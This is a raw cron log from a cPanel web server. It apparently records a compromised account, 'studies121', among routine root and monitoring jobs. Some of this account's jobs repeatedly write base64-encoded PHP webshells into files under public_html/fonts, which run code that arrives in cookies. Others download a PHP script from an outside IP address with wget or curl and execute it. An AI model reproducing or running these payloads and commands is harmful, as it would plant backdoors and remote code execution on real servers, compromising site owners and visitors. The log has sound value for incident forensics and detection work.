Sep  7 23:21:01 ip-184-168-122-23 CROND[3956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:22:01 ip-184-168-122-23 CROND[4034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:22:01 ip-184-168-122-23 CROND[4035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:22:01 ip-184-168-122-23 CROND[4037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:22:01 ip-184-168-122-23 CROND[4040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:22:01 ip-184-168-122-23 CROND[4042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:23:01 ip-184-168-122-23 CROND[4206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:23:01 ip-184-168-122-23 CROND[4207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:23:01 ip-184-168-122-23 CROND[4209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:23:01 ip-184-168-122-23 CROND[4208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:24:01 ip-184-168-122-23 CROND[4288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:24:01 ip-184-168-122-23 CROND[4290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:24:01 ip-184-168-122-23 CROND[4293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:24:01 ip-184-168-122-23 CROND[4294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:24:01 ip-184-168-122-23 CROND[4295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:25:01 ip-184-168-122-23 CROND[4378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:25:01 ip-184-168-122-23 CROND[4379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:25:01 ip-184-168-122-23 CROND[4383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:25:01 ip-184-168-122-23 CROND[4380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:25:01 ip-184-168-122-23 CROND[4382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:25:01 ip-184-168-122-23 CROND[4381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:26:01 ip-184-168-122-23 CROND[4466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:26:01 ip-184-168-122-23 CROND[4469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:26:01 ip-184-168-122-23 CROND[4471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:26:01 ip-184-168-122-23 CROND[4470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:26:01 ip-184-168-122-23 CROND[4472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:27:01 ip-184-168-122-23 CROND[4551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:27:01 ip-184-168-122-23 CROND[4552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:27:01 ip-184-168-122-23 CROND[4554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:27:01 ip-184-168-122-23 CROND[4553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:28:01 ip-184-168-122-23 CROND[4715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:28:01 ip-184-168-122-23 CROND[4717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:28:01 ip-184-168-122-23 CROND[4719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:28:01 ip-184-168-122-23 CROND[4716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:28:01 ip-184-168-122-23 CROND[4720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:29:01 ip-184-168-122-23 CROND[4802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:29:01 ip-184-168-122-23 CROND[4804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:29:01 ip-184-168-122-23 CROND[4806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:29:01 ip-184-168-122-23 CROND[4805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:30:01 ip-184-168-122-23 CROND[4897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:30:01 ip-184-168-122-23 CROND[4900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:30:01 ip-184-168-122-23 CROND[4901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:30:01 ip-184-168-122-23 CROND[4903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:30:01 ip-184-168-122-23 CROND[4902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:30:01 ip-184-168-122-23 CROND[4906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:30:01 ip-184-168-122-23 CROND[4909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:30:01 ip-184-168-122-23 CROND[4912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:31:01 ip-184-168-122-23 CROND[5013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:31:01 ip-184-168-122-23 CROND[5015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:31:01 ip-184-168-122-23 CROND[5014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:31:01 ip-184-168-122-23 CROND[5017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:31:01 ip-184-168-122-23 CROND[5020]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:32:01 ip-184-168-122-23 CROND[5111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:32:01 ip-184-168-122-23 CROND[5113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:32:01 ip-184-168-122-23 CROND[5115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:32:01 ip-184-168-122-23 CROND[5114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:32:01 ip-184-168-122-23 CROND[5112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:33:01 ip-184-168-122-23 CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:33:01 ip-184-168-122-23 CROND[5197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:33:01 ip-184-168-122-23 CROND[5195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:33:01 ip-184-168-122-23 CROND[5198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:34:01 ip-184-168-122-23 CROND[5367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
